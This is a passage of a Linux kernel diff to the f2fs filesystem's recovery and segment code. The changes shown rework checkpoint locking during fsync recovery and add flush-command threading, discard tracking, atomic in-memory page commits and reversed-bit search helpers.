f2fs_put_page(page, 1); + break; + } + } err = do_recover_data(sbi, entry->inode, page, blkaddr); - if (err) - goto out; + if (err) { + f2fs_put_page(page, 1); + break; + } if (entry->blkaddr == blkaddr) { iput(entry->inode); @@ -358,12 +518,8 @@ static int recover_data(struct f2fs_sb_info *sbi, next: /* check next segment */ blkaddr = next_blkaddr_of_node(page); + f2fs_put_page(page, 1); } -unlock_out: - unlock_page(page); -out: - __free_pages(page, 0); - if (!err) allocate_new_segments(sbi); return err; @@ -371,16 +527,24 @@ static int recover_data(struct f2fs_sb_info *sbi, int recover_fsync_data(struct f2fs_sb_info *sbi) { + struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_WARM_NODE); struct list_head inode_list; + block_t blkaddr; int err; + bool need_writecp = false; fsync_entry_slab = f2fs_kmem_cache_create("f2fs_fsync_inode_entry", - sizeof(struct fsync_inode_entry), NULL); - if (unlikely(!fsync_entry_slab)) + sizeof(struct fsync_inode_entry)); + if (!fsync_entry_slab) return -ENOMEM; INIT_LIST_HEAD(&inode_list); + /* prevent checkpoint */ + mutex_lock(&sbi->cp_mutex); + + blkaddr = NEXT_FREE_BLKADDR(sbi, curseg); + /* step #1: find fsynced inode numbers */ err = find_fsync_dnodes(sbi, &inode_list); if (err) @@ -389,14 +553,51 @@ int recover_fsync_data(struct f2fs_sb_info *sbi) if (list_empty(&inode_list)) goto out; + need_writecp = true; + /* step #2: recover data */ - sbi->por_doing = 1; err = recover_data(sbi, &inode_list, CURSEG_WARM_NODE); - sbi->por_doing = 0; - BUG_ON(!list_empty(&inode_list)); + if (!err) + f2fs_bug_on(sbi, !list_empty(&inode_list)); out: - destroy_fsync_dnodes(sbi, &inode_list); + destroy_fsync_dnodes(&inode_list); kmem_cache_destroy(fsync_entry_slab); - write_checkpoint(sbi, false); + + /* truncate meta pages to be used by the recovery */ + truncate_inode_pages_range(META_MAPPING(sbi), + (loff_t)MAIN_BLKADDR(sbi) << PAGE_CACHE_SHIFT, -1); + + if (err) { + truncate_inode_pages(NODE_MAPPING(sbi), 0); + truncate_inode_pages(META_MAPPING(sbi), 0); + } + + clear_sbi_flag(sbi, SBI_POR_DOING); + if (err) { + bool invalidate = false; + + if (discard_next_dnode(sbi, blkaddr)) + invalidate = true; + + /* Flush all the NAT/SIT pages */ + while (get_pages(sbi, F2FS_DIRTY_META)) + sync_meta_pages(sbi, META, LONG_MAX); + + /* invalidate temporary meta page */ + if (invalidate) + invalidate_mapping_pages(META_MAPPING(sbi), + blkaddr, blkaddr); + + set_ckpt_flags(sbi->ckpt, CP_ERROR_FLAG); + mutex_unlock(&sbi->cp_mutex); + } else if (need_writecp) { + struct cp_control cpc = { + .reason = CP_RECOVERY, + }; + mutex_unlock(&sbi->cp_mutex); + write_checkpoint(sbi, &cpc); + } else { + mutex_unlock(&sbi->cp_mutex); + } return err; } diff --git a/fs/f2fs/segment.c b/fs/f2fs/segment.c index d8e84e49a5c30..0072ec952d469 100644 --- a/fs/f2fs/segment.c +++ b/fs/f2fs/segment.c @@ -13,13 +13,329 @@ #include #include #include -#include +#include +#include +#include #include "f2fs.h" #include "segment.h" #include "node.h" +#include "trace.h" #include +#define __reverse_ffz(x) __reverse_ffs(~(x)) + +static struct kmem_cache *discard_entry_slab; +static struct kmem_cache *sit_entry_set_slab; +static struct kmem_cache *inmem_entry_slab; + +/** + * Copied from latest lib/llist.c + * llist_for_each_entry_safe - iterate over some deleted entries of + * lock-less list of given type + * safe against removal of list entry + * @pos: the type * to use as a loop cursor. + * @n: another type * to use as temporary storage + * @node: the first entry of deleted list entries. + * @member: the name of the llist_node with the struct. + * + * In general, some entries of the lock-less list can be traversed + * safely only after being removed from list, so start with an entry + * instead of list head. + * + * If being used on entries deleted from lock-less list directly, the + * traverse order is from the newest to the oldest added entry. If + * you want to traverse from the oldest to the newest, you must + * reverse the order by yourself before traversing. + */ +#define llist_for_each_entry_safe(pos, n, node, member) \ + for (pos = llist_entry((node), typeof(*pos), member); \ + &pos->member != NULL && \ + (n = llist_entry(pos->member.next, typeof(*n), member), true); \ + pos = n) + +/** + * Copied from latest lib/llist.c + * llist_reverse_order - reverse order of a llist chain + * @head: first item of the list to be reversed + * + * Reverse the order of a chain of llist entries and return the + * new first entry. + */ +struct llist_node *llist_reverse_order(struct llist_node *head) +{ + struct llist_node *new_head = NULL; + + while (head) { + struct llist_node *tmp = head; + head = head->next; + tmp->next = new_head; + new_head = tmp; + } + + return new_head; +} + +/** + * Copied from latest linux/list.h + * list_last_entry - get the last element from a list + * @ptr: the list head to take the element from. + * @type: the type of the struct this is embedded in. + * @member: the name of the list_struct within the struct. + * + * Note, that list is expected to be not empty. + */ +#define list_last_entry(ptr, type, member) \ + list_entry((ptr)->prev, type, member) + +static unsigned long __reverse_ulong(unsigned char *str) +{ + unsigned long tmp = 0; + int shift = 24, idx = 0; + +#if BITS_PER_LONG == 64 + shift = 56; +#endif + while (shift >= 0) { + tmp |= (unsigned long)str[idx++] << shift; + shift -= BITS_PER_BYTE; + } + return tmp; +} + +/* + * __reverse_ffs is copied from include/asm-generic/bitops/__ffs.h since + * MSB and LSB are reversed in a byte by f2fs_set_bit. + */ +static inline unsigned long __reverse_ffs(unsigned long word) +{ + int num = 0; + +#if BITS_PER_LONG == 64 + if ((word & 0xffffffff00000000UL) == 0) + num += 32; + else + word >>= 32; +#endif + if ((word & 0xffff0000) == 0) + num += 16; + else + word >>= 16; + + if ((word & 0xff00) == 0) + num += 8; + else + word >>= 8; + + if ((word & 0xf0) == 0) + num += 4; + else + word >>= 4; + + if ((word & 0xc) == 0) + num += 2; + else + word >>= 2; + + if ((word & 0x2) == 0) + num += 1; + return num; +} + +/* + * __find_rev_next(_zero)_bit is copied from lib/find_next_bit.c because + * f2fs_set_bit makes MSB and LSB reversed in a byte. + * Example: + * MSB <--> LSB + * f2fs_set_bit(0, bitmap) => 1000 0000 + * f2fs_set_bit(7, bitmap) => 0000 0001 + */ +static unsigned long __find_rev_next_bit(const unsigned long *addr, + unsigned long size, unsigned long offset) +{ + const unsigned long *p = addr + BIT_WORD(offset); + unsigned long result = offset & ~(BITS_PER_LONG - 1); + unsigned long tmp; + + if (offset >= size) + return size; + + size -= result; + offset %= BITS_PER_LONG; + if (!offset) + goto aligned; + + tmp = __reverse_ulong((unsigned char *)p); + tmp &= ~0UL >> offset; + + if (size < BITS_PER_LONG) + goto found_first; + if (tmp) + goto found_middle; + + size -= BITS_PER_LONG; + result += BITS_PER_LONG; + p++; +aligned: + while (size & ~(BITS_PER_LONG-1)) { + tmp = __reverse_ulong((unsigned char *)p); + if (tmp) + goto found_middle; + result += BITS_PER_LONG; + size -= BITS_PER_LONG; + p++; + } + if (!size) + return result; + + tmp = __reverse_ulong((unsigned char *)p); +found_first: + tmp &= (~0UL << (BITS_PER_LONG - size)); + if (!tmp) /* Are any bits set? */ + return result + size; /* Nope. */ +found_middle: + return result + __reverse_ffs(tmp); +} + +static unsigned long __find_rev_next_zero_bit(const unsigned long *addr, + unsigned long size, unsigned long offset) +{ + const unsigned long *p = addr + BIT_WORD(offset); + unsigned long result = offset & ~(BITS_PER_LONG - 1); + unsigned long tmp; + + if (offset >= size) + return size; + + size -= result; + offset %= BITS_PER_LONG; + if (!offset) + goto aligned; + + tmp = __reverse_ulong((unsigned char *)p); + tmp |= ~((~0UL << offset) >> offset); + + if (size < BITS_PER_LONG) + goto found_first; + if (tmp != ~0UL) + goto found_middle; + + size -= BITS_PER_LONG; + result += BITS_PER_LONG; + p++; +aligned: + while (size & ~(BITS_PER_LONG - 1)) { + tmp = __reverse_ulong((unsigned char *)p); + if (tmp != ~0UL) + goto found_middle; + result += BITS_PER_LONG; + size -= BITS_PER_LONG; + p++; + } + if (!size) + return result; + + tmp = __reverse_ulong((unsigned char *)p); +found_first: + tmp |= ~(~0UL << (BITS_PER_LONG - size)); + if (tmp == ~0UL) /* Are any bits zero? */ + return result + size; /* Nope. */ +found_middle: + return result + __reverse_ffz(tmp); +} + +void register_inmem_page(struct inode *inode, struct page *page) +{ + struct f2fs_inode_info *fi = F2FS_I(inode); + struct inmem_pages *new; + + f2fs_trace_pid(page); + + set_page_private(page, (unsigned long)ATOMIC_WRITTEN_PAGE); + SetPagePrivate(page); + + new = f2fs_kmem_cache_alloc(inmem_entry_slab, GFP_NOFS); + + /* add atomic page indices to the list */ + new->page = page; + INIT_LIST_HEAD(&new->list); + + /* increase reference count with clean state */ + mutex_lock(&fi->inmem_lock); + get_page(page); + list_add_tail(&new->list, &fi->inmem_pages); + inc_page_count(F2FS_I_SB(inode), F2FS_INMEM_PAGES); + mutex_unlock(&fi->inmem_lock); + + trace_f2fs_register_inmem_page(page, INMEM); +} + +int commit_inmem_pages(struct inode *inode, bool abort) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct f2fs_inode_info *fi = F2FS_I(inode); + struct inmem_pages *cur, *tmp; + bool submit_bio = false; + struct f2fs_io_info fio = { + .sbi = sbi, + .type = DATA, + .rw = WRITE_SYNC | REQ_PRIO, + .encrypted_page = NULL, + }; + int err = 0; + + /* + * The abort is true only when f2fs_evict_inode is called. + * Basically, the f2fs_evict_inode doesn't produce any data writes, so + * that we don't need to call f2fs_balance_fs. + * Otherwise, f2fs_gc in f2fs_balance_fs can wait forever until this + * inode becomes free by iget_locked in f2fs_iget. + */ + if (!abort) { + f2fs_balance_fs(sbi); + f2fs_lock_op(sbi); + } + + mutex_lock(&fi->inmem_lock); + list_for_each_entry_safe(cur, tmp, &fi->inmem_pages, list) { + lock_page(cur->page); + if (!abort) { + if (cur->page->mapping == inode->i_mapping) { + set_page_dirty(cur->page); + f2fs_wait_on_page_writeback(cur->page, DATA); + if (clear_page_dirty_for_io(cur->page)) + inode_dec_dirty_pages(inode); + trace_f2fs_commit_inmem_page(cur->page, INMEM); + fio.page = cur->page; + err = do_write_data_page(&fio); + if (err) { + unlock_page(cur->page); + break; + } + clear_cold_data(cur->page); + submit_bio = true; + } + } else { + trace_f2fs_commit_inmem_page(cur->page, INMEM_DROP); + } + set_page_private(cur->page, 0); + ClearPagePrivate(cur->page); + f2fs_put_page(cur->page, 1); + + list_del(&cur->list); + kmem_cache_free(inmem_entry_slab, cur); + dec_page_count(F2FS_I_SB(inode), F2FS_INMEM_PAGES); + } + mutex_unlock(&fi->inmem_lock); + + if (!abort) { + f2fs_unlock_op(sbi); + if (submit_bio) + f2fs_submit_merged_bio(sbi, DATA, WRITE); + } + return err; +} + /* * This function balances dirty node and dentry pages. * In addition, it controls garbage collection. @@ -32,10 +348,134 @@ void f2fs_balance_fs(struct f2fs_sb_info *sbi) */ if (has_not_enough_free_secs(sbi, 0)) { mutex_lock(&sbi->gc_mutex); - f2fs_gc(sbi); + f2fs_gc(sbi, false); } } +void f2fs_balance_fs_bg(struct f2fs_sb_info *sbi) +{ + /* try to shrink extent cache when there is no enough memory */ + if (!available_free_memory(sbi, EXTENT_CACHE)) + f2fs_shrink_extent_tree(sbi, EXTENT_CACHE_SHRINK_NUMBER); + + /* check the # of cached NAT entries */ + if (!available_free_memory(sbi, NAT_ENTRIES)) + try_to_free_nats(sbi, NAT_ENTRY_PER_BLOCK); + + if (!available_free_memory(sbi, FREE_NIDS)) + try_to_free_nids(sbi, NAT_ENTRY_PER_BLOCK * FREE_NID_PAGES); + + /* checkpoint is the only way to shrink partial cached entries */ + if (!available_free_memory(sbi, NAT_ENTRIES) || + excess_prefree_segs(sbi) || + !available_free_memory(sbi, INO_ENTRIES) || + jiffies > sbi->cp_expires) + f2fs_sync_fs(sbi->sb, true); +} + +static int issue_flush_thread(void *data) +{ + struct f2fs_sb_info *sbi = data; + struct flush_cmd_control *fcc = SM_I(sbi)->cmd_control_info; + wait_queue_head_t *q = &fcc->flush_wait_queue; +repeat: + if (kthread_should_stop()) + return 0; + + if (!llist_empty(&fcc->issue_list)) { + struct bio *bio; + struct flush_cmd *cmd, *next; + int ret; + + bio = f2fs_bio_alloc(0); + + fcc->dispatch_list = llist_del_all(&fcc->issue_list); + fcc->dispatch_list = llist_reverse_order(fcc->dispatch_list); + + bio->bi_bdev = sbi->sb->s_bdev; + ret = submit_bio_wait(WRITE_FLUSH, bio); + + llist_for_each_entry_safe(cmd, next, + fcc->dispatch_list, llnode) { + cmd->ret = ret; + complete(&cmd->wait); + } + bio_put(bio); + fcc->dispatch_list = NULL; + } + + wait_event_interruptible(*q, + kthread_should_stop() || !llist_empty(&fcc->issue_list)); + goto repeat; +} + +int f2fs_issue_flush(struct f2fs_sb_info *sbi) +{ + struct flush_cmd_control *fcc = SM_I(sbi)->cmd_control_info; + struct flush_cmd cmd; + + trace_f2fs_issue_flush(sbi->sb, test_opt(sbi, NOBARRIER), + test_opt(sbi, FLUSH_MERGE)); + + if (test_opt(sbi, NOBARRIER)) + return 0; + + if (!test_opt(sbi, FLUSH_MERGE)) { + struct bio *bio = f2fs_bio_alloc(0); + int ret; + + bio->bi_bdev = sbi->sb->s_bdev; + ret = submit_bio_wait(WRITE_FLUSH, bio); + bio_put(bio); + return ret; + } + + init_completion(&cmd.wait); + + llist_add(&cmd.llnode, &fcc->issue_list); + + if (!fcc->dispatch_list) + wake_up(&fcc->flush_wait_queue); + + wait_for_completion(&cmd.wait); + + return cmd.ret; +} + +int create_flush_cmd_control(struct f2fs_sb_info *sbi) +{ + dev_t dev = sbi->sb->s_bdev->bd_dev; + struct flush_cmd_control *fcc; + int err = 0; + + fcc = kzalloc(sizeof(struct flush_cmd_control), GFP_KERNEL); + if (!fcc) + return -ENOMEM; + init_waitqueue_head(&fcc->flush_wait_queue); + init_llist_head(&fcc->issue_list); + SM_I(sbi)->cmd_control_info = fcc; + fcc->f2fs_issue_flush = kthread_run(issue_flush_thread, sbi, + "f2fs_flush-%u:%u", MAJOR(dev), MINOR(dev)); + if (IS_ERR(fcc->f2fs_issue_flush)) { + err = PTR_ERR(fcc->f2fs_issue_flush); + kfree(fcc); + SM_I(sbi)->cmd_control_info = NULL; + return err; + } + + return err; +} + +void destroy_flush_cmd_control(struct f2fs_sb_info *sbi) +{ + struct flush_cmd_control *fcc = SM_I(sbi)->cmd_control_info; + + if (fcc && fcc->f2fs_issue_flush) + kthread_stop(fcc->f2fs_issue_flush); + kfree(fcc); + SM_I(sbi)->cmd_control_info = NULL; +} + static void __locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno, enum dirty_type dirty_type) { @@ -50,20 +490,14 @@ static void __locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno, if (dirty_type == DIRTY) { struct seg_entry *sentry = get_seg_entry(sbi, segno); - enum dirty_type t = DIRTY_HOT_DATA; - - dirty_type = sentry->type; + enum dirty_type t = sentry->type; - if (!test_and_set_bit(segno, dirty_i->dirty_segmap[dirty_type])) - dirty_i->nr_dirty[dirty_type]++; - - /* Only one bitmap should be set */ - for (; t <= DIRTY_COLD_NODE; t++) { - if (t == dirty_type) - continue; - if (test_and_clear_bit(segno, dirty_i->dirty_segmap[t])) - dirty_i->nr_dirty[t]--; + if (unlikely(t >= DIRTY)) { + f2fs_bug_on(sbi, 1); + return; } + if (!test_and_set_bit(segno, dirty_i->dirty_segmap[t])) + dirty_i->nr_dirty[t]++; } } @@ -76,12 +510,11 @@ static void __remove_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno, dirty_i->nr_dirty[dirty_type]--; if (dirty_type == DIRTY) { - enum dirty_type t = DIRTY_HOT_DATA; + struct seg_entry *sentry = get_seg_entry(sbi, segno); + enum dirty_type t = sentry->type; - /* clear all the bitmaps */ - for (; t <= DIRTY_COLD_NODE; t++) - if (test_and_clear_bit(segno, dirty_i->dirty_segmap[t])) - dirty_i->nr_dirty[t]--; + if (test_and_clear_bit(segno, dirty_i->dirty_segmap[t])) + dirty_i->nr_dirty[t]--; if (get_valid_blocks(sbi, segno, sbi->segs_per_sec) == 0) clear_bit(GET_SECNO(sbi, segno), @@ -94,7 +527,7 @@ static void __remove_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno, * Adding dirty entry into seglist is not critical operation. * If a given segment is one of current working segments, it won't be added. */ -void locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno) +static void locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno) { struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); unsigned short valid_blocks; @@ -117,7 +550,122 @@ void locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno) } mutex_unlock(&dirty_i->seglist_lock); - return; +} + +static int f2fs_issue_discard(struct f2fs_sb_info *sbi, + block_t blkstart, block_t blklen) +{ + sector_t start = SECTOR_FROM_BLOCK(blkstart); + sector_t len = SECTOR_FROM_BLOCK(blklen); + struct seg_entry *se; + unsigned int offset; + block_t i; + + for (i = blkstart; i < blkstart + blklen; i++) { + se = get_seg_entry(sbi, GET_SEGNO(sbi, i)); + offset = GET_BLKOFF_FROM_SEG0(sbi, i); + + if (!f2fs_test_and_set_bit(offset, se->discard_map)) + sbi->discard_blks--; + } + trace_f2fs_issue_discard(sbi->sb, blkstart, blklen); + return blkdev_issue_discard(sbi->sb->s_bdev, start, len, GFP_NOFS, 0); +} + +bool discard_next_dnode(struct f2fs_sb_info *sbi, block_t blkaddr) +{ + int err = -ENOTSUPP; + + if (test_opt(sbi, DISCARD)) { + struct seg_entry *se = get_seg_entry(sbi, + GET_SEGNO(sbi, blkaddr)); + unsigned int offset = GET_BLKOFF_FROM_SEG0(sbi, blkaddr); + + if (f2fs_test_bit(offset, se->discard_map)) + return false; + + err = f2fs_issue_discard(sbi, blkaddr, 1); + } + + if (err) { + update_meta_page(sbi, NULL, blkaddr); + return true; + } + return false; +} + +static void __add_discard_entry(struct f2fs_sb_info *sbi, + struct cp_control *cpc, struct seg_entry *se, + unsigned int start, unsigned int end) +{ + struct list_head *head = &SM_I(sbi)->discard_list; + struct discard_entry *new, *last; + + if (!list_empty(head)) { + last = list_last_entry(head, struct discard_entry, list); + if (START_BLOCK(sbi, cpc->trim_start) + start == + last->blkaddr + last->len) { + last->len += end - start; + goto done; + } + } + + new = f2fs_kmem_cache_alloc(discard_entry_slab, GFP_NOFS); + INIT_LIST_HEAD(&new->list); + new->blkaddr = START_BLOCK(sbi, cpc->trim_start) + start; + new->len = end - start; + list_add_tail(&new->list, head); +done: + SM_I(sbi)->nr_discards += end - start; +} + +static void add_discard_addrs(struct f2fs_sb_info *sbi, struct cp_control *cpc) +{ + int entries = SIT_VBLOCK_MAP_SIZE / sizeof(unsigned long); + int max_blocks = sbi->blocks_per_seg; + struct seg_entry *se = get_seg_entry(sbi, cpc->trim_start); + unsigned long *cur_map = (unsigned long *)se->cur_valid_map; + unsigned long *ckpt_map = (unsigned long *)se->ckpt_valid_map; + unsigned long *discard_map = (unsigned long *)se->discard_map; + unsigned long *dmap = SIT_I(sbi)->tmp_map; + unsigned int start = 0, end = -1; + bool force = (cpc->reason == CP_DISCARD); + int i; + + if (se->valid_blocks == max_blocks) + return; + + if (!force) { + if (!test_opt(sbi, DISCARD) || !se->valid_blocks || + SM_I(sbi)->nr_discards >= SM_I(sbi)->max_discards) + return; + } + + /* SIT_VBLOCK_MAP_SIZE should be multiple of sizeof(unsigned long) */ + for (i = 0; i < entries; i++) + dmap[i] = force ? ~ckpt_map[i] & ~discard_map[i] : + (cur_map[i] ^ ckpt_map[i]) & ckpt_map[i]; + + while (force || SM_I(sbi)->nr_discards <= SM_I(sbi)->max_discards) { + start = __find_rev_next_bit(dmap, max_blocks, end + 1); + if (start >= max_blocks) + break; + + end = __find_rev_next_zero_bit(dmap, max_blocks, start + 1); + __add_discard_entry(sbi, cpc, se, start, end); + } +} + +void release_discard_addrs(struct f2fs_sb_info *sbi) +{ + struct list_head *head = &(SM_I(sbi)->discard_list); + struct discard_entry *entry, *this; + + /* drop caches */ + list_for_each_entry_safe(entry, this, head, list) { + list_del(&entry->list); + kmem_cache_free(discard_entry_slab, entry); + } } /* @@ -126,55 +674,68 @@ void locate_dirty_segment(struct f2fs_sb_info *sbi, unsigned int segno) static void set_prefree_as_free_segments(struct f2fs_sb_info *sbi) { struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); - unsigned int segno, offset = 0; - unsigned int total_segs = TOTAL_SEGS(sbi); + unsigned int segno; mutex_lock(&dirty_i->seglist_lock); - while (1) { - segno = find_next_bit(dirty_i->dirty_segmap[PRE], total_segs, - offset); - if (segno >= total_segs) - break; + for_each_set_bit(segno, dirty_i->dirty_segmap[PRE], MAIN_SEGS(sbi)) __set_test_and_free(sbi, segno); - offset = segno + 1; - } mutex_unlock(&dirty_i->seglist_lock); } -void clear_prefree_segments(struct f2fs_sb_info *sbi) +void clear_prefree_segments(struct f2fs_sb_info *sbi, struct cp_control *cpc) { + struct list_head *head = &(SM_I(sbi)->discard_list); + struct discard_entry *entry, *this; struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); - unsigned int segno, offset = 0; - unsigned int total_segs = TOTAL_SEGS(sbi); + unsigned long *prefree_map = dirty_i->dirty_segmap[PRE]; + unsigned int start = 0, end = -1; mutex_lock(&dirty_i->seglist_lock); + while (1) { - segno = find_next_bit(dirty_i->dirty_segmap[PRE], total_segs, - offset); - if (segno >= total_segs) + int i; + start = find_next_bit(prefree_map, MAIN_SEGS(sbi), end + 1); + if (start >= MAIN_SEGS(sbi)) break; + end = find_next_zero_bit(prefree_map, MAIN_SEGS(sbi), + start + 1); - offset = segno + 1; - if (test_and_clear_bit(segno, dirty_i->dirty_segmap[PRE])) - dirty_i->nr_dirty[PRE]--; - - /* Let's use trim */ - if (test_opt(sbi, DISCARD)) - blkdev_issue_discard(sbi->sb->s_bdev, - START_BLOCK(sbi, segno) << - sbi->log_sectors_per_block, - 1 << (sbi->log_sectors_per_block + - sbi->log_blocks_per_seg), - GFP_NOFS, 0); + for (i = start; i < end; i++) + clear_bit(i, prefree_map); + + dirty_i->nr_dirty[PRE] -= end - start; + + if (!test_opt(sbi, DISCARD)) + continue; + + f2fs_issue_discard(sbi, START_BLOCK(sbi, start), + (end - start) << sbi->log_blocks_per_seg); } mutex_unlock(&dirty_i->seglist_lock); + + /* send small discards */ + list_for_each_entry_safe(entry, this, head, list) { + if (cpc->reason == CP_DISCARD && entry->len < cpc->trim_minlen) + goto skip; + f2fs_issue_discard(sbi, entry->blkaddr, entry->len); + cpc->trimmed += entry->len; +skip: + list_del(&entry->list); + SM_I(sbi)->nr_discards -= entry->len; + kmem_cache_free(discard_entry_slab, entry); + } } -static void __mark_sit_entry_dirty(struct f2fs_sb_info *sbi, unsigned int segno) +static bool __mark_sit_entry_dirty(struct f2fs_sb_info *sbi, unsigned int segno) { struct sit_info *sit_i = SIT_I(sbi); - if (!__test_and_set_bit(segno, sit_i->dirty_sentries_bitmap)) + + if (!__test_and_set_bit(segno, sit_i->dirty_sentries_bitmap)) { sit_i->dirty_sentries++; + return false; + } + + return true; } static void __set_sit_entry_type(struct f2fs_sb_info *sbi, int type, @@ -196,9 +757,9 @@ static void update_sit_entry(struct f2fs_sb_info *sbi, block_t blkaddr, int del) se = get_seg_entry(sbi, segno); new_vblocks = se->valid_blocks + del; - offset = GET_SEGOFF_FROM_SEG0(sbi, blkaddr) & (sbi->blocks_per_seg - 1); + offset = GET_BLKOFF_FROM_SEG0(sbi, blkaddr); - BUG_ON((new_vblocks >> (sizeof(unsigned short) << 3) || + f2fs_bug_on(sbi, (new_vblocks >> (sizeof(unsigned short) << 3) || (new_vblocks > sbi->blocks_per_seg))); se->valid_blocks = new_vblocks; @@ -207,11 +768,15 @@ static void update_sit_entry(struct f2fs_sb_info *sbi, block_t blkaddr, int del) /* Update valid block bitmap */ if (del > 0) { - if (f2fs_set_bit(offset, se->cur_valid_map)) - BUG(); + if (f2fs_test_and_set_bit(offset, se->cur_valid_map)) + f2fs_bug_on(sbi, 1); + if (!f2fs_test_and_set_bit(offset, se->discard_map)) + sbi->discard_blks--; } else { - if (!f2fs_clear_bit(offset, se->cur_valid_map)) - BUG(); + if (!f2fs_test_and_clear_bit(offset, se->cur_valid_map)) + f2fs_bug_on(sbi, 1); + if (f2fs_test_and_clear_bit(offset, se->discard_map)) + sbi->discard_blks++; } if (!f2fs_test_bit(offset, se->ckpt_valid_map)) se->ckpt_valid_blocks += del; @@ -225,12 +790,14 @@ static void update_sit_entry(struct f2fs_sb_info *sbi, block_t blkaddr, int del) get_sec_entry(sbi, segno)->valid_blocks += del; } -static void refresh_sit_entry(struct f2fs_sb_info *sbi, - block_t old_blkaddr, block_t new_blkaddr) +void refresh_sit_entry(struct f2fs_sb_info *sbi, block_t old, block_t new) { - update_sit_entry(sbi, new_blkaddr, 1); - if (GET_SEGNO(sbi, old_blkaddr) != NULL_SEGNO) - update_sit_entry(sbi, old_blkaddr, -1); + update_sit_entry(sbi, new, 1); + if (GET_SEGNO(sbi, old) != NULL_SEGNO) + update_sit_entry(sbi, old, -1); + + locate_dirty_segment(sbi, GET_SEGNO(sbi, old)); + locate_dirty_segment(sbi, GET_SEGNO(sbi, new)); } void invalidate_blocks(struct f2fs_sb_info *sbi, block_t addr) @@ -238,7 +805,7 @@ void invalidate_blocks(struct f2fs_sb_info *sbi, block_t addr) unsigned int segno = GET_SEGNO(sbi, addr); struct sit_info *sit_i = SIT_I(sbi); - BUG_ON(addr == NULL_ADDR); + f2fs_bug_on(sbi, addr == NULL_ADDR); if (addr == NEW_ADDR) return; @@ -253,42 +820,68 @@ void invalidate_blocks(struct f2fs_sb_info *sbi, block_t addr) mutex_unlock(&sit_i->sentry_lock); } +bool is_checkpointed_data(struct f2fs_sb_info *sbi, block_t blkaddr) +{ + struct sit_info *sit_i = SIT_I(sbi); + unsigned int segno, offset; + struct seg_entry *se; + bool is_cp = false; + + if (blkaddr == NEW_ADDR || blkaddr == NULL_ADDR) + return true; + + mutex_lock(&sit_i->sentry_lock); + + segno = GET_SEGNO(sbi, blkaddr); + se = get_seg_entry(sbi, segno); + offset = GET_BLKOFF_FROM_SEG0(sbi, blkaddr); + + if (f2fs_test_bit(offset, se->ckpt_valid_map)) + is_cp = true; + + mutex_unlock(&sit_i->sentry_lock); + + return is_cp; +} + /* * This function should be resided under the curseg_mutex lock */ static void __add_sum_entry(struct f2fs_sb_info *sbi, int type, - struct f2fs_summary *sum, unsigned short offset) + struct f2fs_summary *sum) { struct curseg_info *curseg = CURSEG_I(sbi, type); void *addr = curseg->sum_blk; - addr += offset * sizeof(struct f2fs_summary); + addr += curseg->next_blkoff * sizeof(struct f2fs_summary); memcpy(addr, sum, sizeof(struct f2fs_summary)); - return; } /* * Calculate the number of current summary pages for writing */ -int npages_for_summary_flush(struct f2fs_sb_info *sbi) +int npages_for_summary_flush(struct f2fs_sb_info *sbi, bool for_ra) { - int total_size_bytes = 0; int valid_sum_count = 0; - int i, sum_space; + int i, sum_in_page; for (i = CURSEG_HOT_DATA; i <= CURSEG_COLD_DATA; i++) { if (sbi->ckpt->alloc_type[i] == SSR) valid_sum_count += sbi->blocks_per_seg; - else - valid_sum_count += curseg_blkoff(sbi, i); + else { + if (for_ra) + valid_sum_count += le16_to_cpu( + F2FS_CKPT(sbi)->cur_data_blkoff[i]); + else + valid_sum_count += curseg_blkoff(sbi, i); + } } - total_size_bytes = valid_sum_count * (SUMMARY_SIZE + 1) - + sizeof(struct nat_journal) + 2 - + sizeof(struct sit_journal) + 2; - sum_space = PAGE_CACHE_SIZE - SUM_FOOTER_SIZE; - if (total_size_bytes < sum_space) + sum_in_page = (PAGE_CACHE_SIZE - 2 * SUM_JOURNAL_SIZE - + SUM_FOOTER_SIZE) / SUMMARY_SIZE; + if (valid_sum_count <= sum_in_page) return 1; - else if (total_size_bytes < 2 * sum_space) + else if ((valid_sum_count - sum_in_page) <= + (PAGE_CACHE_SIZE - SUM_FOOTER_SIZE) / SUMMARY_SIZE) return 2; return 3; } @@ -301,74 +894,33 @@ struct page *get_sum_page(struct f2fs_sb_info *sbi, unsigned int segno) return get_meta_page(sbi, GET_SUM_BLOCK(sbi, segno)); } -static void write_sum_page(struct f2fs_sb_info *sbi, - struct f2fs_summary_block *sum_blk, block_t blk_addr) +void update_meta_page(struct f2fs_sb_info *sbi, void *src, block_t blk_addr) { struct page *page = grab_meta_page(sbi, blk_addr); - void *kaddr = page_address(page); - memcpy(kaddr, sum_blk, PAGE_CACHE_SIZE); + void *dst = page_address(page); + + if (src) + memcpy(dst, src, PAGE_CACHE_SIZE); + else + memset(dst, 0, PAGE_CACHE_SIZE); set_page_dirty(page); f2fs_put_page(page, 1); } -static unsigned int check_prefree_segments(struct f2fs_sb_info *sbi, int type) +static void write_sum_page(struct f2fs_sb_info *sbi, + struct f2fs_summary_block *sum_blk, block_t blk_addr) { - struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); - unsigned long *prefree_segmap = dirty_i->dirty_segmap[PRE]; - unsigned int segno; - unsigned int ofs = 0; - - /* - * If there is not enough reserved sections, - * we should not reuse prefree segments. - */ - if (has_not_enough_free_secs(sbi, 0)) - return NULL_SEGNO; - - /* - * NODE page should not reuse prefree segment, - * since those information is used for SPOR. - */ - if (IS_NODESEG(type)) - return NULL_SEGNO; -next: - segno = find_next_bit(prefree_segmap, TOTAL_SEGS(sbi), ofs); - ofs += sbi->segs_per_sec; - - if (segno < TOTAL_SEGS(sbi)) { - int i; - - /* skip intermediate segments in a section */ - if (segno % sbi->segs_per_sec) - goto next; - - /* skip if the section is currently used */ - if (sec_usage_check(sbi, GET_SECNO(sbi, segno))) - goto next; - - /* skip if whole section is not prefree */ - for (i = 1; i < sbi->segs_per_sec; i++) - if (!test_bit(segno + i, prefree_segmap)) - goto next; - - /* skip if whole section was not free at the last checkpoint */ - for (i = 0; i < sbi->segs_per_sec; i++) - if 